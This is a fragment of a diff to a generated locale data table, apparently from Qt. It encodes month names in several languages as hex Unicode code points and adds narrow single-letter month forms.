0x3c5, 0x3b, 0x39f, 0x3ba, 0x3c4, 0x3c9, 0x3b2, 0x3c1, 0x3af, 0x3bf, 0x3c5, 0x3b, 0x39d, 0x3bf, 0x3b5, 0x3bc, 0x3b2, +0x3c1, 0x3af, 0x3bf, 0x3c5, 0x3b, 0x394, 0x3b5, 0x3ba, 0x3b5, 0x3bc, 0x3b2, 0x3c1, 0x3af, 0x3bf, 0x3c5, 0x3b, 0x399, 0x3b, 0x3a6, 0x3b, +0x39c, 0x3b, 0x391, 0x3b, 0x39c, 0x3b, 0x399, 0x3b, 0x399, 0x3b, 0x391, 0x3b, 0x3a3, 0x3b, 0x39f, 0x3b, 0x39d, 0x3b, 0x394, 0x3b, +0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x70, 0x72, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, +0x6a, 0x75, 0x6e, 0x3b, 0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x75, 0x67, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, +0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x65, 0x63, 0x3b, 0x6a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x66, 0x65, 0x62, 0x72, +0x75, 0x61, 0x72, 0x69, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x69, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x69, 0x3b, 0x6d, +0x61, 0x6a, 0x69, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, +0x75, 0x73, 0x69, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x69, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, +0x65, 0x72, 0x69, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x69, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, +0x65, 0x72, 0x69, 0x3b, 0xa9c, 0xabe, 0xaa8, 0xacd, 0xaaf, 0xac1, 0x3b, 0xaab, 0xac7, 0xaac, 0xacd, 0xab0, 0xac1, 0x3b, 0xaae, 0xabe, +0xab0, 0xacd, 0xa9a, 0x3b, 0xa8f, 0xaaa, 0xacd, 0xab0, 0xabf, 0xab2, 0x3b, 0xaae, 0xac7, 0x3b, 0xa9c, 0xac2, 0xaa8, 0x3b, 0xa9c, 0xac1, +0xab2, 0xabe, 0xa88, 0x3b, 0xa91, 0xa97, 0xab8, 0xacd, 0xa9f, 0x3b, 0xab8, 0xaaa, 0xacd, 0xa9f, 0xac7, 0x3b, 0xa91, 0xa95, 0xacd, 0xa9f, +0xacb, 0x3b, 0xaa8, 0xab5, 0xac7, 0x3b, 0xaa1, 0xabf, 0xab8, 0xac7, 0x3b, 0xa9c, 0xabe, 0xaa8, 0xacd, 0xaaf, 0xac1, 0xa86, 0xab0, 0xac0, +0x3b, 0xaab, 0xac7, 0xaac, 0xacd, 0xab0, 0xac1, 0xa86, 0xab0, 0xac0, 0x3b, 0xaae, 0xabe, 0xab0, 0xacd, 0xa9a, 0x3b, 0xa8f, 0xaaa, 0xacd, 0xab0, 0xabf, 0xab2, 0x3b, 0xaae, 0xac7, 0x3b, 0xa9c, 0xac2, 0xaa8, 0x3b, 0xa9c, 0xac1, 0xab2, 0xabe, 0xa88, 0x3b, 0xa91, 0xa97, 0xab8, -0xacd, 0xa9f, 0x3b, 0xab8, 0xaaa, 0xacd, 0xa9f, 0xac7, 0x3b, 0xa91, 0xa95, 0xacd, 0xa9f, 0xacb, 0x3b, 0xaa8, 0xab5, 0xac7, 0x3b, 0xaa1, -0xabf, 0xab8, 0xac7, 0x3b, 0xa9c, 0xabe, 0xaa8, 0xacd, 0xaaf, 0xac1, 0xa86, 0xab0, 0xac0, 0x3b, 0xaab, 0xac7, 0xaac, 0xacd, 0xab0, 0xac1, -0xa86, 0xab0, 0xac0, 0x3b, 0xaae, 0xabe, 0xab0, 0xacd, 0xa9a, 0x3b, 0xa8f, 0xaaa, 0xacd, 0xab0, 0xabf, 0xab2, 0x3b, 0xaae, 0xac7, 0x3b, -0xa9c, 0xac2, 0xaa8, 0x3b, 0xa9c, 0xac1, 0xab2, 0xabe, 0xa88, 0x3b, 0xa91, 0xa97, 0xab8, 0xacd, 0xa9f, 0x3b, 0xab8, 0xaaa, 0xacd, 0xa9f, -0xac7, 0xaae, 0xacd, 0xaac, 0xab0, 0x3b, 0xa91, 0xa95, 0xacd, 0xa9f, 0xacd, 0xaac, 0xab0, 0x3b, 0xaa8, 0xab5, 0xac7, 0xaae, 0xacd, 0xaac, -0xab0, 0x3b, 0xaa1, 0xabf, 0xab8, 0xac7, 0xaae, 0xacd, 0xaac, 0xab0, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x61, 0x62, 0x3b, 0x4d, -0x61, 0x72, 0x3b, 0x41, 0x66, 0x72, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x59, 0x75, 0x6e, 0x3b, 0x59, 0x75, 0x6c, 0x3b, 0x41, -0x75, 0x67, 0x3b, 0x53, 0x61, 0x74, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x75, 0x77, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, -0x61, 0x6e, 0x61, 0x69, 0x72, 0x75, 0x3b, 0x46, 0x61, 0x62, 0x72, 0x61, 0x69, 0x72, 0x75, 0x3b, 0x4d, 0x61, 0x72, 0x69, -0x73, 0x3b, 0x41, 0x66, 0x72, 0x69, 0x6c, 0x75, 0x3b, 0x4d, 0x61, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6e, 0x69, 0x3b, 0x59, -0x75, 0x6c, 0x69, 0x3b, 0x41, 0x75, 0x67, 0x75, 0x73, 0x74, 0x61, 0x3b, 0x53, 0x61, 0x74, 0x75, 0x6d, 0x62, 0x61, 0x3b, -0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x75, 0x77, 0x61, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, 0x73, 0x61, 0x6d, -0x62, 0x61, 0x3b, 0x5d9, 0x5e0, 0x5d5, 0x3b, 0x5e4, 0x5d1, 0x5e8, 0x3b, 0x5de, 0x5e8, 0x5e5, 0x3b, 0x5d0, 0x5e4, 0x5e8, 0x3b, 0x5de, -0x5d0, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5e0, 0x3b, 0x5d9, 0x5d5, 0x5dc, 0x3b, 0x5d0, 0x5d5, 0x5d2, 0x3b, 0x5e1, 0x5e4, 0x5d8, 0x3b, 0x5d0, -0x5d5, 0x5e7, 0x3b, 0x5e0, 0x5d5, 0x5d1, 0x3b, 0x5d3, 0x5e6, 0x5de, 0x3b, 0x5d9, 0x5e0, 0x5d5, 0x5d0, 0x5e8, 0x3b, 0x5e4, 0x5d1, 0x5e8, -0x5d5, 0x5d0, 0x5e8, 0x3b, 0x5de, 0x5e8, 0x5e5, 0x3b, 0x5d0, 0x5e4, 0x5e8, 0x5d9, 0x5dc, 0x3b, 0x5de, 0x5d0, 0x5d9, 0x3b, 0x5d9, 0x5d5, -0x5e0, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5dc, 0x5d9, 0x3b, 0x5d0, 0x5d5, 0x5d2, 0x5d5, 0x5e1, 0x5d8, 0x3b, 0x5e1, 0x5e4, 0x5d8, 0x5de, 0x5d1, -0x5e8, 0x3b, 0x5d0, 0x5d5, 0x5e7, 0x5d8, 0x5d5, 0x5d1, 0x5e8, 0x3b, 0x5e0, 0x5d5, 0x5d1, 0x5de, 0x5d1, 0x5e8, 0x3b, 0x5d3, 0x5e6, 0x5de, -0x5d1, 0x5e8, 0x3b, 0x91c, 0x928, 0x935, 0x930, 0x940, 0x3b, 0x92b, 0x930, 0x935, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, -0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x948, 0x932, 0x3b, 0x92e, 0x908, 0x3b, 0x91c, 0x942, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, 0x908, -0x3b, 0x905, 0x917, 0x938, 0x94d, 0x924, 0x3b, 0x938, 0x93f, 0x924, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x905, 0x915, 0x94d, 0x924, 0x942, -0x92c, 0x930, 0x3b, 0x928, 0x935, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x926, 0x93f, 0x938, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x6a, 0x61, -0x6e, 0x2e, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x2e, 0x3b, 0x6d, 0xe1, 0x72, 0x63, 0x2e, 0x3b, 0xe1, 0x70, 0x72, 0x2e, 0x3b, -0x6d, 0xe1, 0x6a, 0x2e, 0x3b, 0x6a, 0xfa, 0x6e, 0x2e, 0x3b, 0x6a, 0xfa, 0x6c, 0x2e, 0x3b, 0x61, 0x75, 0x67, 0x2e, 0x3b, -0x73, 0x7a, 0x65, 0x70, 0x74, 0x2e, 0x3b, 0x6f, 0x6b, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, 0x76, 0x2e, 0x3b, 0x64, 0x65, 0x63, -0x2e, 0x3b, 0x6a, 0x61, 0x6e, 0x75, 0xe1, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0xe1, 0x72, 0x3b, 0x6d, 0xe1, 0x72, -0x63, 0x69, 0x75, 0x73, 0x3b, 0xe1, 0x70, 0x72, 0x69, 0x6c, 0x69, 0x73, 0x3b, 0x6d, 0xe1, 0x6a, 0x75, 0x73, 0x3b, 0x6a, -0xfa, 0x6e, 0x69, 0x75, 0x73, 0x3b, 0x6a, 0xfa, 0x6c, 0x69, 0x75, 0x73, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x7a, 0x74, -0x75, 0x73, 0x3b, 0x73, 0x7a, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0xf3, 0x62, 0x65, -0x72, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, -0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x70, 0x72, 0x3b, 0x6d, 0x61, 0xed, 0x3b, -0x6a, 0xfa, 0x6e, 0x3b, 0x6a, 0xfa, 0x6c, 0x3b, 0xe1, 0x67, 0xfa, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, -0x6e, 0xf3, 0x76, 0x3b, 0x64, 0x65, 0x73, 0x3b, 0x6a, 0x61, 0x6e, 0xfa, 0x61, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0xfa, -0x61, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x70, 0x72, 0xed, 0x6c, 0x3b, 0x6d, 0x61, 0xed, 0x3b, 0x6a, 0xfa, -0x6e, 0xed, 0x3b, 0x6a, 0xfa, 0x6c, 0xed, 0x3b, 0xe1, 0x67, 0xfa, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, -0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0xf3, 0x62, 0x65, 0x72, 0x3b, 0x6e, 0xf3, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, -0x3b, 0x64, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, -0x72, 0x3b, 0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, -0x75, 0x3b, 0x53, 0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, -0x6e, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x72, 0x65, 0x74, -0x3b, 0x41, 0x70, 0x72, 0x69, 0x6c, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x69, -0x3b, 0x41, 0x67, 0x75, 0x73, 0x74, 0x75, 0x73, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4f, -0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x44, 0x65, 0x73, 0x65, -0x6d, 0x62, 0x65, 0x72, 0x3b, 0x45, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x61, 0x62, 0x68, 0x3b, 0x4d, 0xe1, 0x72, 0x74, 0x61, -0x3b, 0x41, 0x69, 0x62, 0x3b, 0x42, 0x65, 0x61, 0x6c, 0x3b, 0x4d, 0x65, 0x69, 0x74, 0x68, 0x3b, 0x49, 0xfa, 0x69, 0x6c, -0x3b, 0x4c, 0xfa, 0x6e, 0x3b, 0x4d, 0x46, 0xf3, 0x6d, 0x68, 0x3b, 0x44, 0x46, 0xf3, 0x6d, 0x68, 0x3b, 0x53, 0x61, 0x6d, -0x68, 0x3b, 0x4e, 0x6f, 0x6c, 0x6c, 0x3b, 0x45, 0x61, 0x6e, 0xe1, 0x69, 0x72, 0x3b, 0x46, 0x65, 0x61, 0x62, 0x68, 0x72, -0x61, 0x3b, 0x4d, 0xe1, 0x72, 0x74, 0x61, 0x3b, 0x41, 0x69, 0x62, 0x72, 0x65, 0xe1, 0x6e, 0x3b, 0x42, 0x65, 0x61, 0x6c, -0x74, 0x61, 0x69, 0x6e, 0x65, 0x3b, 0x4d, 0x65, 0x69, 0x74, 0x68, 0x65, 0x61, 0x6d, 0x68, 0x3b, 0x49, 0xfa, 0x69, 0x6c, -0x3b, 0x4c, 0xfa, 0x6e, 0x61, 0x73, 0x61, 0x3b, 0x4d, 0x65, 0xe1, 0x6e, 0x20, 0x46, 0xf3, 0x6d, 0x68, 0x61, 0x69, 0x72, -0x3b, 0x44, 0x65, 0x69, 0x72, 0x65, 0x61, 0x64, 0x68, 0x20, 0x46, 0xf3, 0x6d, 0x68, 0x61, 0x69, 0x72, 0x3b, 0x53, 0x61, -0x6d, 0x68, 0x61, 0x69, 0x6e, 0x3b, 0x4e, 0x6f, 0x6c, 0x6c, 0x61, 0x69, 0x67, 0x3b, 0x67, 0x65, 0x6e, 0x3b, 0x66, 0x65, +0xacd, 0xa9f, 0x3b, 0xab8, 0xaaa, 0xacd, 0xa9f, 0xac7, 0xaae, 0xacd, 0xaac, 0xab0, 0x3b, 0xa91, 0xa95, 0xacd, 0xa9f, 0xacd, 0xaac, 0xab0, +0x3b, 0xaa8, 0xab5, 0xac7, 0xaae, 0xacd, 0xaac, 0xab0, 0x3b, 0xaa1, 0xabf, 0xab8, 0xac7, 0xaae, 0xacd, 0xaac, 0xab0, 0x3b, 0xa9c, 0xabe, +0x3b, 0xaab, 0xac7, 0x3b, 0xaae, 0xabe, 0x3b, 0xa8f, 0x3b, 0xaae, 0xac7, 0x3b, 0xa9c, 0xac2, 0x3b, 0xa9c, 0xac1, 0x3b, 0xa91, 0x3b, +0xab8, 0x3b, 0xa91, 0x3b, 0xaa8, 0x3b, 0xaa1, 0xabf, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x61, 0x62, 0x3b, 0x4d, 0x61, 0x72, +0x3b, 0x41, 0x66, 0x69, 0x3b, 0x4d, 0x61, 0x79, 0x3b, 0x59, 0x75, 0x6e, 0x3b, 0x59, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x75, +0x3b, 0x53, 0x61, 0x74, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x75, 0x77, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, 0x61, 0x6e, +0x61, 0x69, 0x72, 0x75, 0x3b, 0x46, 0x61, 0x62, 0x75, 0x72, 0x61, 0x69, 0x72, 0x75, 0x3b, 0x4d, 0x61, 0x72, 0x69, 0x73, +0x3b, 0x41, 0x66, 0x69, 0x72, 0x69, 0x6c, 0x75, 0x3b, 0x4d, 0x61, 0x79, 0x75, 0x3b, 0x59, 0x75, 0x6e, 0x69, 0x3b, 0x59, +0x75, 0x6c, 0x69, 0x3b, 0x41, 0x67, 0x75, 0x73, 0x74, 0x61, 0x3b, 0x53, 0x61, 0x74, 0x75, 0x6d, 0x62, 0x61, 0x3b, 0x4f, +0x6b, 0x74, 0x6f, 0x62, 0x61, 0x3b, 0x4e, 0x75, 0x77, 0x61, 0x6d, 0x62, 0x61, 0x3b, 0x44, 0x69, 0x73, 0x61, 0x6d, 0x62, +0x61, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x59, 0x3b, 0x59, 0x3b, 0x41, 0x3b, 0x53, 0x3b, +0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x62c, 0x64e, 0x646, 0x3b, 0x6a2, 0x64e, 0x628, 0x3b, 0x645, 0x64e, 0x631, 0x3b, 0x623, 0x64e, +0x6a2, 0x652, 0x631, 0x3b, 0x645, 0x64e, 0x64a, 0x3b, 0x64a, 0x64f, 0x648, 0x646, 0x3b, 0x64a, 0x64f, 0x648, 0x644, 0x3b, 0x623, 0x64e, +0x63a, 0x64f, 0x3b, 0x633, 0x64e, 0x62a, 0x3b, 0x623, 0x64f, 0x643, 0x652, 0x62a, 0x3b, 0x646, 0x64f, 0x648, 0x3b, 0x62f, 0x650, 0x633, +0x3b, 0x62c, 0x64e, 0x646, 0x64e, 0x64a, 0x652, 0x631, 0x64f, 0x3b, 0x6a2, 0x64e, 0x628, 0x652, 0x631, 0x64e, 0x64a, 0x652, 0x631, 0x64f, +0x3b, 0x645, 0x64e, 0x631, 0x650, 0x633, 0x652, 0x3b, 0x623, 0x64e, 0x6a2, 0x652, 0x631, 0x650, 0x644, 0x64f, 0x3b, 0x645, 0x64e, 0x64a, +0x64f, 0x3b, 0x64a, 0x64f, 0x648, 0x646, 0x650, 0x3b, 0x64a, 0x64f, 0x648, 0x644, 0x650, 0x3b, 0x623, 0x64e, 0x63a, 0x64f, 0x633, 0x652, +0x62a, 0x64e, 0x3b, 0x633, 0x64e, 0x62a, 0x64f, 0x645, 0x652, 0x628, 0x64e, 0x3b, 0x623, 0x64f, 0x643, 0x652, 0x62a, 0x648, 0x64f, 0x628, +0x64e, 0x3b, 0x646, 0x64f, 0x648, 0x64e, 0x645, 0x652, 0x628, 0x64e, 0x3b, 0x62f, 0x650, 0x633, 0x64e, 0x645, 0x652, 0x628, 0x64e, 0x3b, +0x5d9, 0x5e0, 0x5d5, 0x3b, 0x5e4, 0x5d1, 0x5e8, 0x3b, 0x5de, 0x5e8, 0x5e1, 0x3b, 0x5d0, 0x5e4, 0x5e8, 0x3b, 0x5de, 0x5d0, 0x5d9, 0x3b, +0x5d9, 0x5d5, 0x5e0, 0x3b, 0x5d9, 0x5d5, 0x5dc, 0x3b, 0x5d0, 0x5d5, 0x5d2, 0x3b, 0x5e1, 0x5e4, 0x5d8, 0x3b, 0x5d0, 0x5d5, 0x5e7, 0x3b, +0x5e0, 0x5d5, 0x5d1, 0x3b, 0x5d3, 0x5e6, 0x5de, 0x3b, 0x5d9, 0x5e0, 0x5d5, 0x5d0, 0x5e8, 0x3b, 0x5e4, 0x5d1, 0x5e8, 0x5d5, 0x5d0, 0x5e8, +0x3b, 0x5de, 0x5e8, 0x5e1, 0x3b, 0x5d0, 0x5e4, 0x5e8, 0x5d9, 0x5dc, 0x3b, 0x5de, 0x5d0, 0x5d9, 0x3b, 0x5d9, 0x5d5, 0x5e0, 0x5d9, 0x3b, +0x5d9, 0x5d5, 0x5dc, 0x5d9, 0x3b, 0x5d0, 0x5d5, 0x5d2, 0x5d5, 0x5e1, 0x5d8, 0x3b, 0x5e1, 0x5e4, 0x5d8, 0x5de, 0x5d1, 0x5e8, 0x3b, 0x5d0, +0x5d5, 0x5e7, 0x5d8, 0x5d5, 0x5d1, 0x5e8, 0x3b, 0x5e0, 0x5d5, 0x5d1, 0x5de, 0x5d1, 0x5e8, 0x3b, 0x5d3, 0x5e6, 0x5de, 0x5d1, 0x5e8, 0x3b, +0x91c, 0x928, 0x935, 0x930, 0x940, 0x3b, 0x92b, 0x930, 0x935, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, 0x3b, 0x905, 0x92a, +0x94d, 0x930, 0x948, 0x932, 0x3b, 0x92e, 0x908, 0x3b, 0x91c, 0x942, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, 0x908, 0x3b, 0x905, 0x917, +0x938, 0x94d, 0x924, 0x3b, 0x938, 0x93f, 0x924, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x905, 0x915, 0x94d, 0x924, 0x942, 0x92c, 0x930, 0x3b, +0x928, 0x935, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x926, 0x93f, 0x938, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x91c, 0x3b, 0x92b, 0x93c, 0x3b, +0x92e, 0x93e, 0x3b, 0x905, 0x3b, 0x92e, 0x3b, 0x91c, 0x942, 0x3b, 0x91c, 0x941, 0x3b, 0x905, 0x3b, 0x938, 0x93f, 0x3b, 0x905, 0x3b, +0x928, 0x3b, 0x926, 0x93f, 0x3b, 0x6a, 0x61, 0x6e, 0x2e, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x2e, 0x3b, 0x6d, 0xe1, 0x72, 0x63, +0x2e, 0x3b, 0xe1, 0x70, 0x72, 0x2e, 0x3b, 0x6d, 0xe1, 0x6a, 0x2e, 0x3b, 0x6a, 0xfa, 0x6e, 0x2e, 0x3b, 0x6a, 0xfa, 0x6c, +0x2e, 0x3b, 0x61, 0x75, 0x67, 0x2e, 0x3b, 0x73, 0x7a, 0x65, 0x70, 0x74, 0x2e, 0x3b, 0x6f, 0x6b, 0x74, 0x2e, 0x3b, 0x6e, +0x6f, 0x76, 0x2e, 0x3b, 0x64, 0x65, 0x63, 0x2e, 0x3b, 0x6a, 0x61, 0x6e, 0x75, 0xe1, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, +0x75, 0xe1, 0x72, 0x3b, 0x6d, 0xe1, 0x72, 0x63, 0x69, 0x75, 0x73, 0x3b, 0xe1, 0x70, 0x72, 0x69, 0x6c, 0x69, 0x73, 0x3b, +0x6d, 0xe1, 0x6a, 0x75, 0x73, 0x3b, 0x6a, 0xfa, 0x6e, 0x69, 0x75, 0x73, 0x3b, 0x6a, 0xfa, 0x6c, 0x69, 0x75, 0x73, 0x3b, +0x61, 0x75, 0x67, 0x75, 0x73, 0x7a, 0x74, 0x75, 0x73, 0x3b, 0x73, 0x7a, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, +0x3b, 0x6f, 0x6b, 0x74, 0xf3, 0x62, 0x65, 0x72, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, +0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0xc1, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x4a, +0x3b, 0x41, 0x3b, 0x53, 0x7a, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, +0x6d, 0x61, 0x72, 0x3b, 0x61, 0x70, 0x72, 0x3b, 0x6d, 0x61, 0xed, 0x3b, 0x6a, 0xfa, 0x6e, 0x3b, 0x6a, 0xfa, 0x6c, 0x3b, +0xe1, 0x67, 0xfa, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, 0x6e, 0xf3, 0x76, 0x3b, 0x64, 0x65, 0x73, 0x3b, +0x6a, 0x61, 0x6e, 0xfa, 0x61, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0xfa, 0x61, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, +0x61, 0x70, 0x72, 0xed, 0x6c, 0x3b, 0x6d, 0x61, 0xed, 0x3b, 0x6a, 0xfa, 0x6e, 0xed, 0x3b, 0x6a, 0xfa, 0x6c, 0xed, 0x3b, +0xe1, 0x67, 0xfa, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0xf3, +0x62, 0x65, 0x72, 0x3b, 0x6e, 0xf3, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x65, +0x72, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0xc1, 0x3b, 0x53, 0x3b, +0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, +0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x41, 0x67, 0x75, 0x3b, 0x53, 0x65, +0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, +0x69, 0x3b, 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x72, 0x65, 0x74, 0x3b, 0x41, 0x70, 0x72, +0x69, 0x6c, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x69, 0x3b, 0x4a, 0x75, 0x6c, 0x69, 0x3b, 0x41, 0x67, 0x75, +0x73, 0x74, 0x75, 0x73, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, +0x65, 0x72, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x44, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x65, 0x72, +0x3b, 0x45, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x61, 0x62, 0x68, 0x3b, 0x4d, 0xe1, 0x72, 0x74, 0x61, 0x3b, 0x41, 0x69, 0x62, +0x3b, 0x42, 0x65, 0x61, 0x6c, 0x3b, 0x4d, 0x65, 0x69, 0x74, 0x68, 0x3b, 0x49, 0xfa, 0x69, 0x6c, 0x3b, 0x4c, 0xfa, 0x6e, +0x3b, 0x4d, 0x46, 0xf3, 0x6d, 0x68, 0x3b, 0x44, 0x46, 0xf3, 0x6d, 0x68, 0x3b, 0x53, 0x61, 0x6d, 0x68, 0x3b, 0x4e, 0x6f, +0x6c, 0x6c, 0x3b, 0x45, 0x61, 0x6e, 0xe1, 0x69, 0x72, 0x3b, 0x46, 0x65, 0x61, 0x62, 0x68, 0x72, 0x61, 0x3b, 0x4d, 0xe1, +0x72, 0x74, 0x61, 0x3b, 0x41, 0x69, 0x62, 0x72, 0x65, 0xe1, 0x6e, 0x3b, 0x42, 0x65, 0x61, 0x6c, 0x74, 0x61, 0x69, 0x6e, +0x65, 0x3b, 0x4d, 0x65, 0x69, 0x74, 0x68, 0x65, 0x61, 0x6d, 0x68, 0x3b, 0x49, 0xfa, 0x69, 0x6c, 0x3b, 0x4c, 0xfa, 0x6e, +0x61, 0x73, 0x61, 0x3b, 0x4d, 0x65, 0xe1, 0x6e, 0x20, 0x46, 0xf3, 0x6d, 0x68, 0x61, 0x69, 0x72, 0x3b, 0x44, 0x65, 0x69, +0x72, 0x65, 0x61, 0x64, 0x68, 0x20, 0x46, 0xf3, 0x6d, 0x68, 0x61, 0x69, 0x72, 0x3b, 0x53, 0x61, 0x6d, 0x68, 0x61, 0x69, +0x6e, 0x3b, 0x4e, 0x6f, 0x6c, 0x6c, 0x61, 0x69, 0x67, 0x3b, 0x45, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x42, 0x3b, +0x4d, 0x3b, 0x49, 0x3b, 0x4c, 0x3b, 0x4d, 0x3b, 0x44, 0x3b, 0x53, 0x3b, 0x4e, 0x3b, 0x67, 0x65, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, 